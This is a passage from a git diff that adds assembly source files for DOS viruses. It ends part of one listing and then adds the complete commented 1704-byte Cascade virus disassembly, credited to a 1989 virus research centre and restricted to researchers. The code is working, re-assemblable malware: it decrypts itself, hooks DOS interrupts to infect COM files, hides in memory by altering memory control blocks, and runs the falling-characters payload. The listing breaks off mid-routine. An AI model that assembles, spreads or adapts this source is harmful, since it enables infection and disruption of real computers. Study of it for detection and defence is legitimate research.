AX,VDURAM ; Add VDU display start address + MOV SI,AX ; Move character pointer + TEST C80_SW,0FFH ; Test 80 column text switch + MOV DS,RAM_SG ; Video RAM segment + JZ GTC030 ; Branch if switch off + MOV DX,03DAH ; VDU status register + CLI +GTC010: IN AL,DX ; Get VDU status + TEST AL,8 ; Is it frame flyback time + JNZ GTC030 ; Branch if yes + TEST AL,1 ; Test toggle bit + JNZ GTC010 ; Branch if on +GTC020: IN AL,DX ; Get VDU status + TEST AL,1 ; Test toggle bit + JZ GTC020 ; Branch if off +GTC030: LODSW ; Load character and attribute + STI + POP DX + POP DS + POP SI + RET + + ; Store character and attributes + +STOCHA: PUSH DI + PUSH ES + PUSH DX + PUSH BX + MOV BX,AX + MOV AL,DH ; Get row number + MUL NUMCOL ; Number of visible columns + MOV DH,0 ; Clear top of register + ADD AX,DX ; Add column number + SHL AX,1 ; Multiply by two + ADD AX,VDURAM ; Add VDU display start address + MOV DI,AX ; Move character pointer + TEST C80_SW,0FFH ; Test 80 column text switch + MOV ES,RAM_SG ; Video RAM segment + JZ STO030 ; Branch if switch off + MOV DX,03DAH ; VDU status register + CLI +STO010: IN AL,DX ; Get VDU status + TEST AL,8 ; Is it frame flyback time + JNZ STO030 ; Branch if yes + TEST AL,1 ; Test toggle bit + JNZ STO010 ; Branch if on +STO020: IN AL,DX ; Get VDU status + TEST AL,1 ; Test toggle bit + JZ STO020 ; Branch if off +STO030: MOV AX,BX + STOSB ; Store character and attribute + STI + POP BX + POP DX + POP ES + POP DI + RET + + ; Delay loop + +DELAY: PUSH CX +DEL010: PUSH CX + MOV CX,LOOPCT ; Get timed loop count +DEL020: LOOP DEL020 + POP CX + LOOP DEL010 + POP CX + RET + + ; Toggle speaker drive + +CH_SND: PUSH AX + IN AL,61H ; Get port B + XOR AL,2 ; Toggle speaker drive + AND AL,0FEH ; Switch off speaker modulate + OUT 61H,AL ; Rewrite port B + POP AX + RET + + ; Is character 0, 32 or 255? + +IGNORE: CMP AL,0 ; Is it a zero? + JE IGN010 ; Branch if yes + CMP AL,20H ; Is it a space? + JE IGN010 ; Branch if yes + CMP AL,0FFH ; Is it FF? + JE IGN010 ; Branch if yes + CLC + RET + +IGN010: STC + RET + + ; Graphic display character + +GRAPHD: CMP AL,0B0H ; Is it below 176? + JB GRA010 ; Branch if yes + CMP AL,0DFH ; Is it above 223? + JA GRA010 ; Branch if yes + STC + RET + +GRA010: CLC + RET + + ; Time one clock cycle + +TIMCYC: PUSH DS + MOV AX,0040H ; \ Set DS to system RAM + MOV DS,AX ; / + STI + ASSUME DS:RAM + MOV AX,BW046C ; Get low word of system clock +TIM010: CMP AX,BW046C ; Has clock changed? + JE TIM010 ; Branch if not + XOR CX,CX ; Clear register + MOV AX,BW046C ; Get low word of system clock +TIM020: INC CX ; Increment count + JZ TIM040 ; Branch if now zero + CMP AX,BW046C ; Has clock changed? + JE TIM020 ; Branch if not +TIM030: POP DS + ASSUME DS:NOTHING + MOV AX,CX ; Transfer count + XOR DX,DX ; Clear register + MOV CX,000FH ; \ Divide by 15 + DIV CX ; / + MOV LOOPCT,AX ; Save timed loop count + RET + +TIM040: DEC CX ; Set to minus one + JMP SHORT TIM030 + + ; Cascade display routine + + ASSUME DS:CODE +DISPLY: MOV NUMROW,18H ; Number of display rows + PUSH DS + MOV AX,0040H ; \ Set DS to system RAM + MOV DS,AX ; / + ASSUME DS:RAM + MOV AX,BW044E ; VDU display start address + POP DS + ASSUME DS:CODE + MOV VDURAM,AX ; Save VDU display start address + MOV DL,0FFH + MOV AX,1130H ; Get character generator information + MOV BH,0 ; Int 1FH vector + PUSH ES + PUSH BP + INT 10H ; VDU I/O + POP BP + POP ES + CMP DL,0FFH ; Is register unchanged? + JE DSP010 ; Branch if yes + MOV NUMROW,DL ; Number of display rows (EGA) +DSP010: MOV AH,0FH ; Get VDU parameters + INT 10H ; VDU I/O + MOV NUMCOL,AH ; Save number of columns + MOV C80_SW,0 ; Set off 80 column text switch + MOV RAM_SG,0B000H ; Video RAM segment - Mono + CMP AL,7 ; Mode 7? + JE DSP040 ; Branch if yes + JB DSP020 ; Branch if less + JMP DSP130 ; Switch off speaker and return + +DSP020: MOV RAM_SG,0B800H ; Video RAM segment + CMP AL,3 ; Display mode 3? + JA DSP040 ; Branch if above + CMP AL,2 ; Display mode 2? + JB DSP040 ; Branch if below + MOV C80_SW,1 ; Set on 80 column text switch + MOV AL,NUMROW ; Number of display rows + INC AL ; Number, not offset + MUL NUMCOL ; Number of visible columns + MOV NUMPOS,AX ; Save number of display positions + MOV AX,RANPOS ; Get number of lines to affect + CMP AX,NUMPOS ; Number of display positions + JBE DSP030 ; Branch if within range + MOV AX,NUMPOS ; Get number of display positions +DSP030: CALL RNDNUM ; Create random number + INC AX ; Add to random number + MOV SI,AX ; Use as count +DSP040: XOR DI,DI ; Set second count to zero +DSP050: INC DI ; Increment second count + MOV AX,NUMPOS ; Get number of display positions + SHL AX,1 ; Multiply by two + CMP DI,AX ; Has second count reached this? + JBE DSP060 ; Branch if not + JMP DSP130 ; Switch off speaker and return + +DSP060: OR SWITCH,2 ; Set on switch 2 + MOV AL,NUMCOL ; \ Number of visible columns + MOV AH,0 ; / is upper limit + CALL RNDNUM ; Create random number + MOV DL,AL ; Random column number + MOV AL,NUMROW ; \ Number of display rows + MOV AH,0 ; / is upper limit + CALL RNDNUM ; Create random number + MOV DH,AL ; Random row number + CALL GETCHA ; Get character and attributes + CALL IGNORE ; Is character 0, 32 or 255? + JB DSP050 ; Branch if yes + CALL GRAPHD ; Is it a graphic display character + JB DSP050 ; Branch if yes + MOV CURCHA,AL ; Save current character + MOV CURATT,AH ; Save current attributes + MOV CL,NUMROW ; Number of display rows + MOV CH,0 ; Column zero +DSP070: INC DH ; Next row + CMP DH,NUMROW ; Was that the last row? + JA DSP110 ; Branch if yes + CALL GETCHA ; Get character and attributes + CMP AH,CURATT ; Are attributes the same? + JNE DSP110 ; Branch if not + CALL IGNORE ; Is character 0, 32 or 255? + JB DSP090 ; Branch if yes +DSP080: CALL GRAPHD ; Is it a graphic display character + JB DSP110 ; Branch if yes + INC DH ; Next row + CMP DH,NUMROW ; Was that the last row? + JA DSP110 ; Branch if yes + CALL GETCHA ; Get character and attributes + CMP AH,CURATT ; Are attributes the same? + JNE DSP110 ; Branch if not + CALL IGNORE ; Is character 0, 32 or 255? + JNB DSP080 ; Branch if not + CALL CH_SND ; Toggle speaker drive + DEC DH ; Previous row + CALL GETCHA ; Get character and attributes + MOV CURCHA,AL ; Save current character + INC DH ; Next row +DSP090: AND SWITCH,0FDH ; Set off switch 2 + DEC DH ; Previous row + MOV AL,20H ; Replace character with space + CALL STOCHA ; Store character and attributes + INC DH ; Next row + MOV AL,CURCHA ; Get current character + CALL STOCHA ; Store character and attributes + JCXZ DSP100 ; Branch if end of count + CALL DELAY ; Delay loop + DEC CX ; Decrement count +DSP100: JMP SHORT DSP070 + +DSP110: TEST SWITCH,2 ; Test switch 2 + JZ DSP120 ; Branch if off + JMP DSP050 + +DSP120: CALL CH_SND ; Toggle speaker drive + DEC SI ; Subtract from count + JZ DSP130 ; Switch off speaker and return + JMP DSP040 + + ; Switch off speaker and return + +DSP130: IN AL,61H ; Get port B + AND AL,0FCH ; Switch off speaker + OUT 61H,AL ; Rewrite port B+ + RET + + ; Interrupt 1CH routine + + ASSUME DS:NOTHING +INT_1C: TEST SWITCH,9 ; No display or already active? + JNZ I_1C40 ; Branch if either are on + OR SWITCH,1 ; Set on Int 1CH active switch + DEC I1CCNT ; Subtract from Int 1CH count + JNZ I_1C30 ; Branch if not zero + PUSH DS + PUSH ES + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + ASSUME DS:CODE + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + MOV AL,20H ; \ Signal end of interrupt + OUT 20H,AL ; / + MOV AX,I1CMAX ; Get Int 1CH random no maximum + CMP AX,0438H ; Is it 1080 or above + JNB I_1C10 ; Branch if yes + MOV AX,0438H ; Upper limit - 1080 +I_1C10: CALL RNDNUM ; Create random number + INC AX ; Add to random number + MOV I1CCNT,AX ; Reset Int 1CH count + MOV I1CMAX,AX ; Reset Int 1CH random no maximum + CALL DISPLY ; Cascade display routine + MOV AX,3 ; Upper limit - 3 + CALL RNDNUM ; Create random number + INC AX ; Add to random number + MUL RANPOS ; Multiply by num of lines to affect + JNB I_1C20 ; Is result more than a word? + MOV AX,-1 ; Set to maximum +I_1C20: MOV RANPOS,AX ; Save number of lines to affect + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS + ASSUME DS:NOTHING +I_1C30: AND SWITCH,0FEH ; Set off Int 1CH active switch +I_1C40: JMP I1CBIO ; Branch to original int 1CH + + ; Interrupt 28H routine + +INT_28: TEST SWITCH,8 ; Test No display switch + JZ I_2830 ; Branch if not + PUSH AX + PUSH CX + PUSH DX + MOV AH,2AH ; Get date function + INT 21H ; DOS service + CMP CX,07C4H ; Year 1988? + JB I_2820 ; Not yet - do nothing + JA I_2810 ; After 1988 + CMP DH,0AH ; October? + JB I_2820 ; Not yet - do nothing +I_2810: AND SWITCH,0F7H ; Set off No display switch +I_2820: POP DX + POP CX + POP AX +I_2830: JMP I28BIO ; Branch to original int 28H + + ; Copy virus to program + +CPYVIR: PUSH ES + PUSH BX + MOV AH,48H ; Allocate memory function + MOV BX,006BH ; Length of virus + INT 21H ; DOS service + POP BX + JNB CPY020 ; Branch if no error +CPY010: STC + POP ES + RET + +CPY020: MOV DB0100,1 ; Set encryption indicator + MOV ES,AX ; Set target segment to allocated + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + XOR DI,DI ; Start of allocated + MOV SI,OFFSET DB0100 ; Start of virus + MOV CX,VIRLEN ; Length of virus + CLD + REPZ MOVSB ; Copy virus + MOV DI,0023H ; Start of area to encrypt + MOV SI,OFFSET BP0030 ; Address of area + ADD SI,F_SIZ1 ; Length of target file + MOV CX,OFFSET ENDADR-BP0030 ; Length to encrypt +CPY030: XOR ES:[DI],SI ; \ Encrypt + XOR ES:[DI],CX ; / + INC DI ; \ Next address + INC SI ; / + LOOP CPY030 ; Repeat for all area + MOV DS,AX ; Allocated area segment + MOV AH,40H ; Write handle function + XOR DX,DX ; From start + MOV CX,VIRLEN ; Length of virus + INT 21H ; DOS service + PUSHF + PUSH AX + MOV AH,49H ; Free allocated memory function + INT 21H ; DOS service + POP AX + POPF + PUSH CS ; \ Set DS to CS + POP DS ; / + JB CPY010 ; Branch if error + CMP AX,CX ; Correct length written? + JNE CPY010 ; Branch if error + POP ES + CLC +CPY040: RET + +ENDADR EQU $ + +CODE ENDS + + END START + \ No newline at end of file diff --git a/0-9/1704.asm b/0-9/1704.asm new file mode 100755 index 0000000..0f93af6 --- /dev/null +++ b/0-9/1704.asm @@ -0,0 +1,919 @@ + page 65,132 + title The 'Cascade' Virus (1704 version) +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Cascade' Virus (1704 version) +; Disassembled by Joe Hirst, March 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The virus occurs attached to the end of a COM file. The first + ; three bytes of the program are stored in the virus, and replaced + ; by a branch to the beginning of the virus. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + +RAM SEGMENT AT 400H + + ; System data + + ORG 4EH +BW044E DW ? ; VDU display start address + + ORG 6CH +BW046C DW ? ; System clock + +RAM ENDS + +MCB SEGMENT AT 0 ; Memory control block references + +MB0000 DB ? ; MCB signature +MW0001 DW ? ; MCB owner +MW0003 DW ? ; MCB size + +MCB ENDS + +OPROG SEGMENT AT 0 ; Original program references + + ORG 100H +OW0100 DW ? +OB0102 DB ? + +OPROG ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:OPROG + +VIRLEN EQU OFFSET ENDADR-START +MAXLEN EQU OFFSET START-ENDADR-20H +JMPADR = OFFSET START-ENDADR-2 + + ORG 16H +DW0016 DW ? ; PSP parent ID + + ORG 2CH +DW002C DW ? ; PSP environment + + ORG 36H +DW0036 DW ? ; FHT segment + + ORG 100H + +START: + +DB0100 DB 1 ; Encryption indicator + + ; Virus entry point + +ENTRY: CLI + MOV BP,SP ; Save stack pointer + CALL BP0010 ; \ Get address of BP0010 +BP0010: POP BX ; / + SUB BX,OFFSET BP0010+2AH ; Standardise relocation reg + TEST DB0100[BX+2AH],1 ; Is virus encrypted + JZ BP0030 ; Branch if not + LEA SI,BP0030[BX+2AH] ; Address start of encrypted area + MOV SP,OFFSET ENDADR-BP0030 ; Length of encrypted area +BP0020: XOR [SI],SI ; \ Decrypt + XOR [SI],SP ; / + INC SI ; \ Next address + DEC SP ; / + JNZ BP0020 ; Repeat for all area +BP0030: MOV SP,BP ; Restore stack pointer + JMP BP0040 ; Branch past data + + ; Data + +PROGRM EQU THIS DWORD +PRG_OF DW 100H ; Original program offset +PRG_SGIDW 1021H ; Original program segment + +INITAX DW 0 ; Initial AX value +PROG_1 DW 2DE9H ; \ First three bytes of program +PROG_2 DB 0DH ; / + DB 0, 0 + +I1CBIO EQU THIS DWORD +I1C_OF DW 0FF53H ; Interrupt 1CH offset +I1C_SG DW 0F000H ; Interrupt 1CH segment + +I21BIO EQU THIS DWORD +I21_OF DW 1460H ; Interrupt 21H offset +I21_SG DW 026AH ; Interrupt 21H segment + +I28BIO EQU THIS DWORD +I28_OF DW 1445H ; Interrupt 28H offset +I28_SG DW 0270H ; Interrupt 28H segment + + DW 0 ; - not referenced +F_ATTR DW 0 ; File attributes +F_DATE DW 0E71H ; File date +F_TIME DW 601FH ; File time +F_PATH EQU THIS DWORD +PATHOF DW 044EH ; File pathname offset +PATHSG DW 20FFH ; File pathname segment +F_SIZ1 DW 62DBH ; File size - low word +F_SIZ2 DW 0 ; File size - high word +JUMP_1 DB 0E9H ; \ Jump instruction +JUMP_2 DW 1D64H ; / +NUMCOL DB 0 ; Number of display columns +NUMROW DB 0 ; Number of display rows +C80_SW DB 0 ; 80 column text switch +CURCHA DB 0 ; Current character +CURATT DB 0 ; Current attributes +SWITCH DB 8 ; Switches + ; 01 Int 1CH active + ; 02 Switch 2 + ; 04 Switch 3 - not used + ; 08 No display +RAM_SG DW 0 ; Video RAM segment +VDURAM DW 0 ; VDU display start address +LOOPCT DW 04F8H ; Timed loop count +I1CCNT DW 0FDAH ; Int 1CH count +I1CMAX DW 0FDAH ; Int 1CH random number maximum +NUMPOS DW 0 ; Number of display positions +RANPOS DW 1 ; Number of lines to affect +RANDOM DW 8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H + + ; Main program start + +BP0040: CALL BP0050 ; \ Get address of BP0050 +BP0050: POP BX ; / + SUB BX,OFFSET BP0050+2AH ; Standardise relocation reg + MOV PRG_SG[BX+2AH],CS ; Save original program segment + MOV INITAX[BX+2AH],AX ; Save initial AX value + MOV AX,PROG_1[BX+2AH] ; Get first 2 bytes of program + MOV OW0100,AX ; Replace them + MOV AL,PROG_2[BX+2AH] ; Get third byte of program + MOV OB0102,AL ; Replace it + PUSH BX + MOV AH,30H ; Get DOS version number function + INT 21H ; DOS service + POP BX + CMP AL,2 ; Version 2.X or above? + JB BP0060 ; Branch if not + MOV AX,4BFFH ; Is virus active function + XOR DI,DI ; Clear register + XOR SI,SI ; Clear register + INT 21H ; DOS service + CMP DI,55AAH ; Is virus already active + JNE BP0070 ; Branch if not +BP0060: STI + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV AX,INITAX[BX+2AH] ; Restore initial AX value + JMP PROGRM[BX+2AH] ; Branch to original program + +BP0070: PUSH BX + MOV AX,3521H ; Get interrupt 21H function + INT 21H ; DOS service + MOV AX,BX ; Move interrupt 21H offset + POP BX + MOV I21_OF[BX+2AH],AX ; Save interrupt 21H offset + MOV I21_SG[BX+2AH],ES ; Save interrupt 21H segment + MOV AX,0F000H ; \ + MOV ES,AX ; ) Address BIOS + MOV DI,0E008H ; / + CMP WORD PTR ES:[DI],'OC' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+2],'RP' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+4],' .' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+6],'BI' ; \ Branch if not IBM BIOS + JNE BP0080 ; / + CMP WORD PTR ES:[DI+8],'M' ; \ IBM BIOS + JE BP0060 ; / + + ; Install virus + + ASSUME ES:MCB,DS:NOTHING +BP0080: MOV AX,007BH ; Load size of virus in paragraphs + MOV BP,CS ; Get current segment + DEC BP ; \ Address back to MCB + MOV ES,BP ; / + MOV SI,DW0016 ; Get parent ID + MOV MW0001,SI ; Store as owner in MCB + MOV DX,MW0003 ; Get MCB size + MOV MW0003,AX ; Store virus size + MOV MB0000,4DH ; Store MCB identification + SUB DX,AX ; Subtract virus from original size + DEC DX ; + INC BP ; Forward from MCB + ADD BP,AX ; Add size of virus + INC BP ; And of another MCB + MOV ES,BP ; Address new PSP segment + PUSH BX + MOV AH,50H ; Set current PSP function + MOV BX,BP ; New PSP segment + INT 21H ; DOS service + POP BX + XOR DI,DI ; Clear register + PUSH ES ; \ Set stack segment to new PSP + POP SS ; / + PUSH DI + LEA DI,CPY040[BX+2AH] ; Address end of virus + MOV SI,DI ; And for source + MOV CX,VIRLEN ; Get length of virus + STD ; Going downwards + REPZ MOVSB ; Copy virus + PUSH ES ; Push new segment + LEA CX,BP0090[BX+2AH] ; \ And next instruction + PUSH CX ; / + RETF ; ... and load them + + ; Now running in virus at end of new program segment + +BP0090: MOV PRG_SG[BX+2AH],CS ; New segment in program address + LEA CX,DB0100[BX+2AH] ; Get length of original program + REPZ MOVSB ; Copy original program to new PSP + MOV DW0036,CS ; New segment in handle table address + DEC BP ; \ Address back to MCB + MOV ES,BP ; / + MOV MW0003,DX ; Store original program size + MOV MB0000,5AH ; Store MCB ident (last) + MOV MW0001,CS ; Store CS as owner in MCB + INC BP ; \ Forward again to PSP + MOV ES,BP ; / + PUSH DS ; \ Set ES to DS + POP ES ; / + PUSH CS ; \ Set DS to CS + POP DS ; / + LEA SI,DB0100[BX+2AH] ; Address start of virus + MOV DI,OFFSET DB0100 ; Start of program area in first area + MOV CX,VIRLEN ; Get length of virus + CLD ; Copy forwards + REPZ MOVSB ; Copy virus to start of first area + PUSH ES ; Push segment of first area + LEA AX,BP0100 ; \ Offset of next instruction + PUSH AX ; / + RETF ; ... and load them + + ; Now running in installed virus, first area + + ASSUME ES:NOTHING +BP0100: MOV DW002C,0 ; No environment pointer + MOV DW0016,CS ; Is its own parent + PUSH DS + LEA DX,INT_21 ; Interrupt 21H routine + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV AX,2521H ; Set interrupt 21H function + INT 21H ; DOS service + POP DS + MOV AH,1AH ; Set DTA function + MOV DX,0080H ; DTA address + INT 21H ; DOS service + CALL GETCLK ; Copy system clock + MOV AH,2AH ; Get date function + INT 21H ; DOS service + CMP CX,07C4H ; Year 1988? + JA BP0130 ; Branch if after 1988 + JE BP0110 ; Branch if 1988 + CMP CX,07BCH ; Year 1980? + JNE BP0130 ; Branch if not + PUSH DS + MOV AX,3528H ; Get interrupt 28H function + INT 21H ; DOS service + MOV I28_OF,BX ; Save interrupt 28H offset + MOV I28_SG,ES ; Save interrupt 28H segment + MOV AX,2528H ; Set interrupt 28H function + MOV DX,OFFSET INT_28 ; Int 28H routine address + PUSH CS ; \ Set DS to CS + POP DS ; / + INT 21H ; DOS service + POP DS + OR SWITCH,8 ; Set on No display switch + JMP BP0120 + + ; Year is 1988 + +BP0110: CMP DH,0AH ; October? + JB BP0130 ; Branch if not +BP0120: CALL TIMCYC ; Time one clock cycle + MOV AX,1518H ; Upper limit - 5400 + CALL RNDNUM ; Create random number + INC AX ; Add to random number + MOV I1CCNT,AX ; Set Int 1CH count + MOV I1CMAX,AX ; Set Int 1CH random no maximum + MOV RANPOS,1 ; Set num of lines to affect to 1 + MOV AX,351CH ; Get interrupt 1CH function + INT 21H ; DOS service + MOV I1C_OF,BX ; Save interrupt 1CH offset + MOV I1C_SG,ES ; Save interrupt 1CH segment + PUSH DS + MOV AX,251CH ; Set interrupt 1CH function + MOV DX,OFFSET INT_1C ; Int 1CH routine address + PUSH CS ; \ Set DS to CS + POP DS ; / + INT 21H ; DOS service + POP DS +BP0130: MOV BX,-2AH ; Set up relocation register + JMP BP0060 ; Branch to start program + + ; Interrupt 21H routine + +INT_21: CMP AH,4BH ; Load function? + JE I_2106 ; Branch if yes +I_2102: JMP I21BIO ; Branch to original int 21H + + ; Virus call + +I_2104: MOV DI,55AAH ; Virus call - signal back + LES AX,I21BIO ; Load return address + MOV DX,CS ; Load segment + IRET + + ; Load and execute function + +I_2106: CMP AL,0FFH ; Is this a virus call? + JE I_2104 ; Branch if yes + CMP AL,0 ; Load and execute? + JNE I_2102 ; Branch if not + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH ES + PUSH DS + MOV PATHOF,DX ; Save pathname offset + MOV PATHSG,DS ; Save pathname segment + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,3D00H ; Open handle function + INT 21H ; DOS service + JB I_2110 ; Branch if error + MOV BX,AX ; Move file handle + MOV AX,5700H ; Get file date and time function + INT 21H ; DOS service + MOV F_DATE,DX ; Save file date + MOV F_TIME,CX ; Save file time + MOV AH,3FH ; Read handle function + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV DX,OFFSET PROG_1 ; \ First three bytes of program + MOV CX,3 ; / + INT 21H ; DOS service + JB I_2110 ; Branch if error + CMP AX,CX ; Correct length read? + JNE I_2110 ; Branch if error + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + MOV F_SIZ1,AX ; File size - low word + MOV F_SIZ2,DX ; File size - high word + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + CMP PROG_1,5A4DH ; Is it an EXE file? + JNE I_2108 ; Branch if not + JMP I_2124 ; Dont infect + +I_2108: CMP F_SIZ2,0 ; File size - high word + JA I_2110 ; Branch if file too big + CMP F_SIZ1,MAXLEN ; Maximum file size? + JBE I_2112 ; Branch if file not too big +I_2110: JMP I_2124 ; Dont infect + +I_2112: CMP BYTE PTR PROG_1,0E9H ; Does program start with a branch + JNE I_2114 ; Branch if not + MOV AX,F_SIZ1 ; Get file size - low word + ADD AX,WORD PTR JMPADR ; Convert to infected offset + CMP AX,PROG_1+1 ; Is it the same + JE I_2110 ; Branch if already infected +I_2114: MOV AX,4300H ; Get file attributes function + LDS DX,F_PATH ; Pathname pointer + INT 21H ; DOS service + JB I_2110 ; Branch if error + MOV F_ATTR,CX ; Save file attributes + XOR CL,20H ; Change archive bit + TEST CL,27H ; Are there any attributes to change + JZ I_2116 ; Branch if not + MOV AX,4301H ; Set file attributes function + XOR CX,CX ; No attributes + INT 21H ; DOS service + JB I_2110 ; Branch if error +I_2116: MOV AX,3D02H ; Open handle (R/W) function + INT 21H ; DOS service + JB I_2110 ; Branch if error + MOV BX,AX ; Move file handle + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + CALL CPYVIR ; Copy virus to program + JNB I_2118 ; Branch if no error + MOV AX,4200H ; Move file pointer (Start) function + MOV CX,F_SIZ2 ; File size - high word + MOV DX,F_SIZ1 ; File size - low word + INT 21H ; DOS service + MOV AH,40H ; Write handle function + XOR CX,CX ; Zero length (reset length} + INT 21H ; DOS service + JMP I_2120 ; Reset file details + +I_2118: MOV AX,4200H ; Move file pointer (Start) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + JB I_2120 ; Branch if error + MOV AX,F_SIZ1 ; Get file size - low word + ADD AX,0FFFEH ; Convert to jump offset + MOV JUMP_2,AX ; Store in jump instruction + MOV AH,40H ; Write handle function + MOV DX,OFFSET JUMP_1 ; Address to jump instruction + MOV CX,3 ; Length of jump instruction + INT 21H ; DOS service +I_2120: MOV AX,5701H ; Set file date and time function + MOV DX,F_DATE ; Get old file date + MOV CX,F_TIME ; Get old file time + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + MOV CX,F_ATTR ; Get old file attributes + TEST CL,7 ; System, read only or hidden? + JNZ I_2122 ; Branch if yes + TEST CL,20H ; Archive? + JNZ I_2124 ; Branch if yes +I_2122: MOV AX,4301H ; Set file attributes function + LDS DX,F_PATH ; Pathname pointer + INT 21H ; DOS service +I_2124: POP DS + POP ES + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + JMP I_2102 ; Original interrupt 21H + + ; Create random number + +RNDNUM: PUSH DS + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH BX + PUSH CX + PUSH DX + PUSH AX ; Save multiplier + MOV CX,7 ; Seven words to move + MOV BX,OFFSET RANDOM+14 ; Last word of randomiser + PUSH [BX] ; Save last word +RND010: MOV AX,[BX-2] ; Get previous word + ADC [BX],AX ; Add to current word + DEC BX ; \ Address previous word + DEC BX ; / + LOOP RND010 ; Repeat for each word + POP AX ; Retrieve last word + ADC [BX],AX ; Add to first word + MOV DX,[BX] ; Get result + POP AX ; Recover multiplier + OR AX,AX ; Is there a multiplier? + JZ RND020 ; Branch if not + MUL DX ; Multiply random number +RND020: MOV AX,DX ; Move result + POP DX + POP CX + POP BX + POP DS + RET + + ; Copy system clock + +GETCLK: PUSH DS + PUSH ES + PUSH SI + PUSH DI + PUSH CX + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV CX,0040H ; \ Set DS to system RAM + MOV DS,CX ; / + MOV DI,OFFSET RANDOM ; Randomizer work area + MOV SI,006CH ; Address system clock + MOV CX,8 ; Eight bytes to copy + CLD + REPZ MOVSW ; Copy system clock + POP CX + POP DI + POP SI + POP ES + POP DS + RET + + ; Get character and attributes + + ASSUME DS:CODE +GETCHA: PUSH SI + PUSH DS + PUSH DX + MOV AL,DH ; Get row number + MUL NUMCOL ; Number of visible columns + MOV DH,0 ; Clear top of register + ADD AX,DX ; Add column number + SHL AX,1 ; Multiply by two + ADD AX,VDURAM ; Add VDU display start address + MOV SI,AX ; Move character pointer + TEST C80_SW,0FFH ; Test 80 column text switch + MOV DS,RAM_SG ; Video RAM segment + JZ GTC030 ; Branch if switch off + MOV DX,03DAH ; VDU status register + CLI +GTC010: IN AL,DX ; Get VDU status + TEST AL,8 ; Is it frame flyback time + JNZ GTC030 ; Branch if yes + TEST AL,1 ; Test toggle bit + JNZ GTC010 ; Branch if on +GTC020: IN AL,DX ; Get VDU status + TEST AL,1 ; Test toggle bit + JZ GTC020 ; Branch if off +GTC030: LODSW ; Load character and attribute + STI + POP DX + POP DS + POP SI + RET + + ; Store character and attributes + +STOCHA: PUSH DI + PUSH ES + PUSH DX + PUSH BX + MOV BX,AX + MOV AL,DH ; Get row number + MUL NUMCOL ; Number of visible columns + MOV DH,0 ; Clear top of register + ADD AX,DX ; Add column number + SHL AX,1 ; Multiply by two + ADD AX,VDURAM ; Add VDU display start address + MOV DI,AX ; Move character pointer + TEST C80_SW,0FFH ; Test 80 column text switch + MOV ES,RAM_SG ; Video RAM segment + JZ STO030 ; Branch if switch off + MOV DX,03DAH ; VDU status register + CLI +STO010: IN AL,DX ; Get VDU status + TEST AL,8 ; Is it frame flyback time + JNZ STO030 ; Branch if yes + TEST AL,1 ; Test toggle bit + JNZ STO010 ; Branch if on +STO020: IN AL,DX ; Get VDU status + TEST AL,1 ; Test toggle bit + JZ STO020 ; Branch if off +STO030: MOV AX,BX + STOSB ; Store character and attribute + STI + POP BX + POP DX + POP ES + POP DI + RET + + ; Delay loop + +DELAY: PUSH CX +DEL010: PUSH CX + MOV CX,LOOPCT ; Get timed loop count +DEL020: LOOP DEL020 + POP CX + LOOP DEL010 + POP CX + RET + + ; Toggle speaker drive + +CH_SND: PUSH AX + IN AL,61H ; Get port B + XOR AL,2 ; Toggle speaker drive + AND AL,0FEH ; Switch off speaker modulate + OUT 61H,AL ; Rewrite port B + POP AX + RET + + ; Is character 0, 32 or 255? + +IGNORE: CMP AL,0 ; Is it a zero? + JE IGN010 ; Branch if yes + CMP AL,20H ; Is it a space? + JE IGN010 ; Branch if yes + CMP AL,0FFH ; Is it FF? + JE IGN010 ; Branch if yes + CLC + RET + +IGN010: STC + RET + + ; Graphic display character + +GRAPHD: CMP AL,0B0H ; Is it below 176? + JB GRA010 ; Branch if yes + CMP AL,0DFH ; Is it above 223? + JA GRA010 ; Branch if yes + STC + RET + +GRA010: CLC + RET + + ; Time one clock cycle + +TIMCYC: PUSH DS + MOV AX,0040H ; \ Set DS to system RAM + MOV DS,AX ; / + STI + ASSUME DS:RAM + MOV AX,BW046C ; Get low word of system clock +TIM010: CMP AX,BW046C ; Has clock changed? + JE TIM010 ; Branch if not + XOR CX,CX ; Clear register + MOV AX,BW046C ; Get low word of system clock +TIM020: INC CX ; Increment count + JZ TIM040 ; Branch if now zero + CMP AX,BW046C ; Has clock changed? + JE TIM020 ; Branch if not +TIM030: POP DS + ASSUME DS:NOTHING + MOV AX,CX ; Transfer count + XOR DX,DX ; Clear register + MOV CX,000FH ; \ Divide by 15 + DIV CX ; / + MOV LOOPCT,AX ; Save timed loop count + RET + +TIM040: DEC CX ; Set to minus one + JMP SHORT TIM030 + + ; Cascade display routine + + ASSUME 